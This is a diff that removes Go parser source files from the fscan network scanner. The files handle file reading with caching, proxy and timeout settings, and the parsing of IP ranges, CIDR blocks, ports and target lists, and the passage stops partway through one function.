Cached bool `json:"cached"`
}
// NewFileReader 创建文件读取器
func NewFileReader(options *FileReaderOptions) *FileReader {
if options == nil {
options = DefaultFileReaderOptions()
}
return &FileReader{
cache: make(map[string]*FileResult),
maxCacheSize: options.MaxCacheSize,
enableCache: options.EnableCache,
maxFileSize: options.MaxFileSize,
timeout: options.Timeout,
enableValidation: options.EnableValidation,
}
}
// FileReaderOptions 文件读取器选项
type FileReaderOptions struct {
MaxCacheSize int // 最大缓存文件数
EnableCache bool // 启用文件缓存
MaxFileSize int64 // 最大文件大小(字节)
Timeout time.Duration // 读取超时
EnableValidation bool // 启用内容验证
TrimSpace bool // 自动清理空白字符
SkipEmpty bool // 跳过空行
SkipComments bool // 跳过注释行(#开头)
}
// DefaultFileReaderOptions 默认文件读取器选项
func DefaultFileReaderOptions() *FileReaderOptions {
return &FileReaderOptions{
MaxCacheSize: DefaultMaxCacheSize,
EnableCache: DefaultEnableCache,
MaxFileSize: DefaultFileReaderMaxFileSize,
Timeout: DefaultFileReaderTimeout,
EnableValidation: DefaultFileReaderEnableValidation,
TrimSpace: DefaultTrimSpace,
SkipEmpty: DefaultSkipEmpty,
SkipComments: DefaultSkipComments,
}
}
// ReadFile 读取文件内容
func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (*FileResult, error) {
if filename == "" {
return nil, NewParseError("FILE_ERROR", "文件名为空", filename, 0, ErrEmptyInput)
}
// 检查缓存
if fr.enableCache {
if result := fr.getFromCache(filename); result != nil {
result.Cached = true
return result, nil
}
}
// 合并选项
opts := fr.mergeOptions(options...)
// 创建带超时的上下文
ctx, cancel := context.WithTimeout(context.Background(), fr.timeout)
defer cancel()
// 异步读取文件
resultChan := make(chan *FileResult, 1)
errorChan := make(chan error, 1)
go func() {
result, err := fr.readFileSync(filename, opts)
if err != nil {
errorChan <- err
} else {
resultChan <- result
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
// 添加到缓存
if fr.enableCache {
fr.addToCache(filename, result)
}
return result, nil
case err := <-errorChan:
return nil, err
case <-ctx.Done():
return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err())
}
}
// =============================================================================================
// 已删除的死代码未使用ReadFiles 并发读取多个文件的方法
// =============================================================================================
// readFileSync 同步读取文件
func (fr *FileReader) readFileSync(filename string, options *FileReaderOptions) (*FileResult, error) {
startTime := time.Now()
// 检查文件
fileInfo, err := os.Stat(filename)
if err != nil {
return nil, NewParseError("FILE_ERROR", "文件不存在或无法访问", filename, 0, err)
}
// 检查文件大小
if fileInfo.Size() > fr.maxFileSize {
return nil, NewParseError("FILE_ERROR",
fmt.Sprintf("文件过大: %d bytes, 最大限制: %d bytes", fileInfo.Size(), fr.maxFileSize),
filename, 0, nil)
}
// 打开文件
file, err := os.Open(filename)
if err != nil {
return nil, NewParseError("FILE_ERROR", "无法打开文件", filename, 0, err)
}
defer file.Close()
// 创建结果
result := &FileResult{
Lines: make([]string, 0),
Source: &FileSource{
Path: filename,
Size: fileInfo.Size(),
ModTime: fileInfo.ModTime(),
},
}
// 读取文件内容
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
lineNum := 0
validLines := 0
for scanner.Scan() {
lineNum++
line := scanner.Text()
// 处理行内容
if processedLine, valid := fr.processLine(line, options); valid {
result.Lines = append(result.Lines, processedLine)
validLines++
}
}
// 检查扫描错误
if err := scanner.Err(); err != nil {
return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err)
}
// 更新统计信息
result.Source.LineCount = lineNum
result.Source.ValidLines = validLines
result.ValidLines = validLines
result.ReadTime = time.Since(startTime)
return result, nil
}
// processLine 处理单行内容
func (fr *FileReader) processLine(line string, options *FileReaderOptions) (string, bool) {
// 清理空白字符
if options.TrimSpace {
line = strings.TrimSpace(line)
}
// 跳过空行
if options.SkipEmpty && line == "" {
return "", false
}
// 跳过注释行
if options.SkipComments && strings.HasPrefix(line, CommentPrefix) {
return "", false
}
// 内容验证
if options.EnableValidation && fr.enableValidation {
if !fr.validateLine(line) {
return "", false
}
}
return line, true
}
// validateLine 验证行内容
func (fr *FileReader) validateLine(line string) bool {
// 基本验证:检查是否包含特殊字符或过长
if len(line) > MaxLineLength { // 单行最大字符数
return false
}
// 检查是否包含控制字符
for _, r := range line {
if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车
return false
}
}
return true
}
// mergeOptions 合并选项
func (fr *FileReader) mergeOptions(options ...*FileReaderOptions) *FileReaderOptions {
opts := DefaultFileReaderOptions()
if len(options) > 0 && options[0] != nil {
opts = options[0]
}
return opts
}
// getFromCache 从缓存获取结果
func (fr *FileReader) getFromCache(filename string) *FileResult {
fr.mu.RLock()
defer fr.mu.RUnlock()
if result, exists := fr.cache[filename]; exists {
// 检查文件是否有更新
if fileInfo, err := os.Stat(filename); err == nil {
if fileInfo.ModTime().After(result.Source.ModTime) {
// 文件已更新,从缓存中移除
delete(fr.cache, filename)
return nil
}
}
return result
}
return nil
}
// addToCache 添加到缓存
func (fr *FileReader) addToCache(filename string, result *FileResult) {
fr.mu.Lock()
defer fr.mu.Unlock()
// 检查缓存大小
if len(fr.cache) >= fr.maxCacheSize {
// 移除最旧的条目简单的LRU策略
var oldestFile string
var oldestTime time.Time
for file, res := range fr.cache {
if oldestFile == "" || res.Source.ModTime.Before(oldestTime) {
oldestFile = file
oldestTime = res.Source.ModTime
}
}
delete(fr.cache, oldestFile)
}
fr.cache[filename] = result
}
// =============================================================================================
// 已删除的死代码未使用ClearCache 和 GetCacheStats 方法
// =============================================================================================

View File

@ -1,369 +0,0 @@
package parsers
import (
"fmt"
"net/url"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// NetworkParser 网络配置解析器
type NetworkParser struct {
mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *NetworkParserOptions
}
// NetworkParserOptions 网络解析器选项
type NetworkParserOptions struct {
ValidateProxies bool `json:"validate_proxies"`
AllowInsecure bool `json:"allow_insecure"`
DefaultTimeout time.Duration `json:"default_timeout"`
DefaultWebTimeout time.Duration `json:"default_web_timeout"`
DefaultUserAgent string `json:"default_user_agent"`
}
// DefaultNetworkParserOptions 默认网络解析器选项
func DefaultNetworkParserOptions() *NetworkParserOptions {
return &NetworkParserOptions{
ValidateProxies: DefaultValidateProxies,
AllowInsecure: DefaultAllowInsecure,
DefaultTimeout: DefaultNetworkTimeout,
DefaultWebTimeout: DefaultWebTimeout,
DefaultUserAgent: DefaultUserAgent,
}
}
// NewNetworkParser 创建网络配置解析器
func NewNetworkParser(options *NetworkParserOptions) *NetworkParser {
if options == nil {
options = DefaultNetworkParserOptions()
}
return &NetworkParser{
options: options,
}
}
// NetworkInput 网络配置输入参数
type NetworkInput struct {
// 代理配置
HttpProxy string `json:"http_proxy"`
Socks5Proxy string `json:"socks5_proxy"`
// 超时配置
Timeout int64 `json:"timeout"`
WebTimeout int64 `json:"web_timeout"`
// 网络选项
DisablePing bool `json:"disable_ping"`
DnsLog bool `json:"dns_log"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
}
// Parse 解析网络配置
func (np *NetworkParser) Parse(input *NetworkInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError("INPUT_ERROR", "网络配置输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Network: &NetworkConfig{
EnableDNSLog: input.DnsLog,
DisablePing: input.DisablePing,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析HTTP代理
httpProxy, httpErrors, httpWarnings := np.parseHttpProxy(input.HttpProxy)
errors = append(errors, httpErrors...)
warnings = append(warnings, httpWarnings...)
// 解析Socks5代理
socks5Proxy, socks5Errors, socks5Warnings := np.parseSocks5Proxy(input.Socks5Proxy)
errors = append(errors, socks5Errors...)
warnings = append(warnings, socks5Warnings...)
// 解析超时配置
timeout, webTimeout, timeoutErrors, timeoutWarnings := np.parseTimeouts(input.Timeout, input.WebTimeout)
errors = append(errors, timeoutErrors...)
warnings = append(warnings, timeoutWarnings...)
// 解析用户代理
userAgent, uaErrors, uaWarnings := np.parseUserAgent(input.UserAgent)
errors = append(errors, uaErrors...)
warnings = append(warnings, uaWarnings...)
// 解析Cookie
cookie, cookieErrors, cookieWarnings := np.parseCookie(input.Cookie)
errors = append(errors, cookieErrors...)
warnings = append(warnings, cookieWarnings...)
// 检查代理冲突
if httpProxy != "" && socks5Proxy != "" {
warnings = append(warnings, "同时配置了HTTP代理和Socks5代理Socks5代理将被优先使用")
}
// 更新配置
result.Config.Network.HttpProxy = httpProxy
result.Config.Network.Socks5Proxy = socks5Proxy
result.Config.Network.Timeout = timeout
result.Config.Network.WebTimeout = webTimeout
result.Config.Network.UserAgent = userAgent
result.Config.Network.Cookie = cookie
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseHttpProxy 解析HTTP代理配置
func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []string) {
var errors []error
var warnings []string
if proxyStr == "" {
return "", nil, nil
}
// 处理简写形式
normalizedProxy := np.normalizeHttpProxy(proxyStr)
// 验证代理URL
if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err))
return "", errors, warnings
}
}
return normalizedProxy, errors, warnings
}
// parseSocks5Proxy 解析Socks5代理配置
func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []string) {
var errors []error
var warnings []string
if proxyStr == "" {
return "", nil, nil
}
// 处理简写形式
normalizedProxy := np.normalizeSocks5Proxy(proxyStr)
// 验证代理URL
if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err))
return "", errors, warnings
}
}
// 使用Socks5代理时建议禁用Ping
if normalizedProxy != "" {
warnings = append(warnings, "使用Socks5代理时建议禁用Ping检测")
}
return normalizedProxy, errors, warnings
}
// parseTimeouts 解析超时配置
func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration, time.Duration, []error, []string) {
var errors []error
var warnings []string
// 处理普通超时
finalTimeout := np.options.DefaultTimeout
if timeout > 0 {
if timeout > MaxTimeoutSeconds {
warnings = append(warnings, "超时时间过长建议不超过300秒")
}
finalTimeout = time.Duration(timeout) * time.Second
}
// 处理Web超时
finalWebTimeout := np.options.DefaultWebTimeout
if webTimeout > 0 {
if webTimeout > MaxWebTimeoutSeconds {
warnings = append(warnings, "Web超时时间过长建议不超过120秒")
}
finalWebTimeout = time.Duration(webTimeout) * time.Second
}
// 验证超时配置合理性
if finalWebTimeout > finalTimeout {
warnings = append(warnings, i18n.GetText("config_web_timeout_warning"))
}
return finalTimeout, finalWebTimeout, errors, warnings
}
// parseUserAgent 解析用户代理
func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []string) {
var errors []error
var warnings []string
if userAgent == "" {
return np.options.DefaultUserAgent, errors, warnings
}
// 基本格式验证
if len(userAgent) > MaxUserAgentLength {
errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil))
return "", errors, warnings
}
// 检查是否包含特殊字符
if strings.ContainsAny(userAgent, InvalidUserAgentChars) {
errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil))
return "", errors, warnings
}
// 检查是否为常见浏览器用户代理
if !np.isValidUserAgent(userAgent) {
warnings = append(warnings, "用户代理格式可能不被目标服务器识别")
}
return userAgent, errors, warnings
}
// parseCookie 解析Cookie
func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string) {
var errors []error
var warnings []string
if cookie == "" {
return "", errors, warnings
}
// 基本格式验证
if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制
errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil))
return "", errors, warnings
}
// 检查Cookie格式
if !np.isValidCookie(cookie) {
warnings = append(warnings, "Cookie格式可能不正确")
}
return cookie, errors, warnings
}
// normalizeHttpProxy 规范化HTTP代理URL
func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
switch strings.ToLower(proxy) {
case ProxyShortcut1:
return ProxyShortcutHTTP
case ProxyShortcut2:
return ProxyShortcutSOCKS5
default:
// 如果没有协议前缀默认使用HTTP
if !strings.Contains(proxy, ProtocolPrefix) {
if strings.Contains(proxy, ":") {
return HTTPPrefix + proxy
} else {
return HTTPPrefix + "127.0.0.1:" + proxy
}
}
return proxy
}
}
// normalizeSocks5Proxy 规范化Socks5代理URL
func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string {
// 如果没有协议前缀添加SOCKS5协议
if !strings.HasPrefix(proxy, SOCKS5Prefix) {
if strings.Contains(proxy, ":") {
return SOCKS5Prefix + proxy
} else {
return SOCKS5Prefix + "127.0.0.1:" + proxy
}
}
return proxy
}
// validateProxyURL 验证代理URL格式
func (np *NetworkParser) validateProxyURL(proxyURL string) error {
if proxyURL == "" {
return nil
}
parsedURL, err := url.Parse(proxyURL)
if err != nil {
return fmt.Errorf("代理URL格式无效: %v", err)
}
// 检查协议
switch parsedURL.Scheme {
case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5:
// 支持的协议
default:
return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme)
}
// 检查主机名
if parsedURL.Hostname() == "" {
return fmt.Errorf("代理主机名为空")
}
// 检查端口
portStr := parsedURL.Port()
if portStr != "" {
port, err := strconv.Atoi(portStr)
if err != nil {
return fmt.Errorf("代理端口号无效: %s", portStr)
}
if port < 1 || port > 65535 {
return fmt.Errorf("代理端口号超出范围: %d", port)
}
}
// 安全检查
if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP {
return fmt.Errorf("不允许使用不安全的HTTP代理")
}
return nil
}
// isValidUserAgent 检查用户代理是否有效
func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
// 检查是否包含常见的浏览器标识
commonBrowsers := GetCommonBrowsers()
userAgentLower := strings.ToLower(userAgent)
for _, browser := range commonBrowsers {
if strings.Contains(userAgentLower, strings.ToLower(browser)) {
return true
}
}
return false
}
// isValidCookie 检查Cookie格式是否有效
func (np *NetworkParser) isValidCookie(cookie string) bool {
// 基本Cookie格式检查 (name=value; name2=value2)
return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie))
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,370 +0,0 @@
package parsers
import (
"bufio"
"fmt"
"net"
"os"
"sort"
"strconv"
"strings"
)
/*
Simple.go - 简化版本的解析器函数
这个文件提供了简化但功能完整的解析函数用于替代复杂的解析器架构
保持与现有代码的接口兼容性但大幅简化实现逻辑
*/
// =============================================================================
// 简化的IP/主机解析函数
// =============================================================================
// ParseIP 解析各种格式的IP地址
// 支持单个IP、IP范围、CIDR和文件输入
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
var hosts []string
// 如果提供了文件名,从文件读取主机列表
if filename != "" {
fileHosts, fileErr := readHostsFromFile(filename)
if fileErr != nil {
return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
}
hosts = append(hosts, fileHosts...)
}
// 解析主机参数
if host != "" {
hostList, hostErr := parseHostString(host)
if hostErr != nil {
return nil, fmt.Errorf("解析主机失败: %v", hostErr)
}
hosts = append(hosts, hostList...)
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeList, excludeErr := parseHostString(nohosts[0])
if excludeErr != nil {
return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
}
hosts = excludeHosts(hosts, excludeList)
}
// 去重和排序
hosts = removeDuplicates(hosts)
sort.Strings(hosts)
if len(hosts) == 0 {
return nil, fmt.Errorf("没有找到有效的主机")
}
return hosts, nil
}
// =============================================================================
// 简化的端口解析函数
// =============================================================================
// ParsePort 解析端口配置字符串为端口号列表
// 保持与 ParsePort 的接口兼容性
func ParsePort(ports string) []int {
if ports == "" {
return nil
}
var result []int
// 处理预定义端口组
ports = expandPortGroups(ports)
// 按逗号分割
for _, portStr := range strings.Split(ports, ",") {
portStr = strings.TrimSpace(portStr)
if portStr == "" {
continue
}
// 处理端口范围 (如 1-100)
if strings.Contains(portStr, "-") {
rangePorts := parsePortRange(portStr)
result = append(result, rangePorts...)
} else {
// 单个端口
if port, err := strconv.Atoi(portStr); err == nil {
if port >= MinPort && port <= MaxPort {
result = append(result, port)
}
}
}
}
// 去重和排序
result = removeDuplicatePorts(result)
sort.Ints(result)
return result
}
// ParsePortsFromString 从字符串解析端口列表
// 保持与 ParsePortsFromString 的接口兼容性
func ParsePortsFromString(portsStr string) []int {
return ParsePort(portsStr)
}
// =============================================================================
// 辅助函数
// =============================================================================
// readHostsFromFile 从文件读取主机列表
func readHostsFromFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var hosts []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, CommentPrefix) {
hosts = append(hosts, line)
}
}
return hosts, scanner.Err()
}
// parseHostString 解析主机字符串
func parseHostString(host string) ([]string, error) {
var hosts []string
// 按逗号分割多个主机
for _, h := range strings.Split(host, ",") {
h = strings.TrimSpace(h)
if h == "" {
continue
}
// 检查是否为CIDR格式
if strings.Contains(h, "/") {
cidrHosts, err := parseCIDR(h)
if err != nil {
return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
}
hosts = append(hosts, cidrHosts...)
} else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
// IP范围格式 (如 192.168.1.1-10)
rangeHosts, err := parseIPRange(h)
if err != nil {
return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
}
hosts = append(hosts, rangeHosts...)
} else {
// 单个主机
hosts = append(hosts, h)
}
}
return hosts, nil
}
// parseCIDR 解析CIDR格式的网段
func parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var hosts []string
for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
hosts = append(hosts, ip.String())
// 限制最大主机数量,防止内存溢出
if len(hosts) > SimpleMaxHosts {
break
}
}
// 移除网络地址和广播地址
if len(hosts) > 2 {
hosts = hosts[1 : len(hosts)-1]
}
return hosts, nil
}
// parseIPRange 解析IP范围
func parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
}
startIP := strings.TrimSpace(parts[0])
endPart := strings.TrimSpace(parts[1])
// 检查是否为短格式 (如 192.168.1.1-10)
if !strings.Contains(endPart, ".") {
return parseShortIPRange(startIP, endPart)
}
// 完整IP范围
return parseFullIPRange(startIP, endPart)
}
// parseShortIPRange 解析短格式IP范围
func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
}
endNum, err := strconv.Atoi(endSuffix)
if err != nil {
return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
}
var hosts []string
startIPParts := strings.Split(startIPStr, ".")
if len(startIPParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
}
baseIP := strings.Join(startIPParts[:3], ".")
startNum, _ := strconv.Atoi(startIPParts[3])
for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ {
hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
}
return hosts, nil
}
// parseFullIPRange 解析完整IP范围
func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
endIP := net.ParseIP(endIPStr)
if startIP == nil || endIP == nil {
return nil, fmt.Errorf("无效的IP地址")
}
var hosts []string
for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
copy(ip, startIP)
hosts = append(hosts, ip.String())
if ip.Equal(endIP) {
break
}
// 限制最大主机数量
if len(hosts) > SimpleMaxHosts {
break
}
nextIP(startIP)
}
return hosts, nil
}
// parsePortRange 解析端口范围
func parsePortRange(rangeStr string) []int {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil
}
start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
return nil
}
var ports []int
for i := start; i <= end; i++ {
ports = append(ports, i)
}
return ports
}
// expandPortGroups 展开端口组
func expandPortGroups(ports string) string {
// 使用预定义的端口组
portGroups := GetPortGroups()
result := ports
for group, portList := range portGroups {
result = strings.ReplaceAll(result, group, portList)
}
return result
}
// excludeHosts 排除指定的主机
func excludeHosts(hosts, excludeList []string) []string {
if len(excludeList) == 0 {
return hosts
}
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, found := excludeMap[host]; !found {
result = append(result, host)
}
}
return result
}
// removeDuplicates 去除字符串重复项
func removeDuplicates(slice []string) []string {
keys := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去除端口重复项
func removeDuplicatePorts(slice []int) []int {
keys := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// nextIP 计算下一个IP地址
func nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}

View File

@ -1,866 +0,0 @@
package parsers
import (
"fmt"
"net"
"net/url"
"regexp"
"strconv"
"strings"
"sync"
"time"
)
// TargetParser 目标解析器
type TargetParser struct {
fileReader *FileReader
mu sync.RWMutex //nolint:unused // reserved for future thread safety
ipRegex *regexp.Regexp
portRegex *regexp.Regexp
urlRegex *regexp.Regexp
options *TargetParserOptions
}
// TargetParserOptions 目标解析器选项
type TargetParserOptions struct {
MaxTargets int `json:"max_targets"`
MaxPortRange int `json:"max_port_range"`
AllowPrivateIPs bool `json:"allow_private_ips"`
AllowLoopback bool `json:"allow_loopback"`
ValidateURLs bool `json:"validate_urls"`
ResolveDomains bool `json:"resolve_domains"`
EnableStatistics bool `json:"enable_statistics"`
DefaultPorts string `json:"default_ports"`
}
// DefaultTargetParserOptions 默认目标解析器选项
func DefaultTargetParserOptions() *TargetParserOptions {
return &TargetParserOptions{
MaxTargets: DefaultTargetMaxTargets,
MaxPortRange: DefaultMaxPortRange,
AllowPrivateIPs: DefaultAllowPrivateIPs,
AllowLoopback: DefaultAllowLoopback,
ValidateURLs: DefaultValidateURLs,
ResolveDomains: DefaultResolveDomains,
EnableStatistics: DefaultTargetEnableStatistics,
DefaultPorts: DefaultPorts,
}
}
// NewTargetParser 创建目标解析器
func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *TargetParser {
if options == nil {
options = DefaultTargetParserOptions()
}
// 使用预编译的正则表达式
ipRegex := CompiledIPv4Regex
portRegex := CompiledPortRegex
urlRegex := CompiledURLRegex
return &TargetParser{
fileReader: fileReader,
ipRegex: ipRegex,
portRegex: portRegex,
urlRegex: urlRegex,
options: options,
}
}
// TargetInput 目标输入参数
type TargetInput struct {
// 主机相关
Host string `json:"host"`
HostsFile string `json:"hosts_file"`
ExcludeHosts string `json:"exclude_hosts"`
// 端口相关
Ports string `json:"ports"`
PortsFile string `json:"ports_file"`
AddPorts string `json:"add_ports"`
ExcludePorts string `json:"exclude_ports"`
// URL相关
TargetURL string `json:"target_url"`
URLsFile string `json:"urls_file"`
// 主机端口组合
HostPort []string `json:"host_port"`
// 模式标识
LocalMode bool `json:"local_mode"`
}
// Parse 解析目标配置
func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Targets: &TargetConfig{
LocalMode: input.LocalMode,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析主机
hosts, hostErrors, hostWarnings := tp.parseHosts(input)
errors = append(errors, hostErrors...)
warnings = append(warnings, hostWarnings...)
// 解析URL
urls, urlErrors, urlWarnings := tp.parseURLs(input)
errors = append(errors, urlErrors...)
warnings = append(warnings, urlWarnings...)
// 解析端口
ports, portErrors, portWarnings := tp.parsePorts(input)
errors = append(errors, portErrors...)
warnings = append(warnings, portWarnings...)
// 解析排除端口
excludePorts, excludeErrors, excludeWarnings := tp.parseExcludePorts(input)
errors = append(errors, excludeErrors...)
warnings = append(warnings, excludeWarnings...)
// 解析主机端口组合
hostPorts, hpErrors, hpWarnings := tp.parseHostPorts(input)
errors = append(errors, hpErrors...)
warnings = append(warnings, hpWarnings...)
// 更新配置
result.Config.Targets.Hosts = hosts
result.Config.Targets.URLs = urls
result.Config.Targets.Ports = ports
result.Config.Targets.ExcludePorts = excludePorts
result.Config.Targets.HostPorts = hostPorts
// 生成统计信息
if tp.options.EnableStatistics {
result.Config.Targets.Statistics = tp.generateStatistics(hosts, urls, ports, excludePorts)
}
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseHosts 解析主机
func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []string) {
var hosts []string
var errors []error
var warnings []string
// 解析命令行主机
if input.Host != "" {
hostList, err := tp.parseHostList(input.Host)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
} else {
hosts = append(hosts, hostList...)
}
}
// 从文件读取主机
if input.HostsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.HostsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
hostList, err := tp.parseHostList(line)
if err != nil {
warnings = append(warnings, fmt.Sprintf("主机文件第%d行解析失败: %s", i+1, err.Error()))
} else {
hosts = append(hosts, hostList...)
}
}
}
}
// 处理排除主机
if input.ExcludeHosts != "" {
excludeList, err := tp.parseHostList(input.ExcludeHosts)
if err != nil {
warnings = append(warnings, fmt.Sprintf("排除主机解析失败: %s", err.Error()))
} else {
hosts = tp.excludeHosts(hosts, excludeList)
}
}
// 去重和验证
hosts = tp.removeDuplicateStrings(hosts)
validHosts := make([]string, 0, len(hosts))
for _, host := range hosts {
if valid, err := tp.validateHost(host); valid {
validHosts = append(validHosts, host)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("无效主机: %s - %s", host, err.Error()))
}
}
// 检查目标数量限制
if len(validHosts) > tp.options.MaxTargets {
warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
validHosts = validHosts[:tp.options.MaxTargets]
}
return validHosts, errors, warnings
}
// parseURLs 解析URL
func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []string) {
var urls []string
var errors []error
var warnings []string
// 解析命令行URL
if input.TargetURL != "" {
urlList := strings.Split(input.TargetURL, ",")
for _, rawURL := range urlList {
rawURL = strings.TrimSpace(rawURL)
if rawURL != "" {
if valid, err := tp.validateURL(rawURL); valid {
urls = append(urls, rawURL)
} else {
warnings = append(warnings, fmt.Sprintf("无效URL: %s - %s", rawURL, err.Error()))
}
}
}
}
// 从文件读取URL
if input.URLsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.URLsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if valid, err := tp.validateURL(line); valid {
urls = append(urls, line)
} else {
warnings = append(warnings, fmt.Sprintf("URL文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 去重
urls = tp.removeDuplicateStrings(urls)
return urls, errors, warnings
}
// parsePorts 解析端口
func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string) {
var ports []int
var errors []error
var warnings []string
// 解析命令行端口
if input.Ports != "" {
portList, err := tp.parsePortList(input.Ports)
if err != nil {
errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err))
} else {
ports = append(ports, portList...)
}
}
// 从文件读取端口
if input.PortsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.PortsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
portList, err := tp.parsePortList(line)
if err != nil {
warnings = append(warnings, fmt.Sprintf("端口文件第%d行解析失败: %s", i+1, err.Error()))
} else {
ports = append(ports, portList...)
}
}
}
}
// 处理额外端口
if input.AddPorts != "" {
addPortList, err := tp.parsePortList(input.AddPorts)
if err != nil {
warnings = append(warnings, fmt.Sprintf("额外端口解析失败: %s", err.Error()))
} else {
ports = append(ports, addPortList...)
}
}
// 去重和排序
ports = tp.removeDuplicatePorts(ports)
return ports, errors, warnings
}
// parseExcludePorts 解析排除端口
func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, []string) {
var excludePorts []int
var errors []error
var warnings []string
if input.ExcludePorts != "" {
portList, err := tp.parsePortList(input.ExcludePorts)
if err != nil {
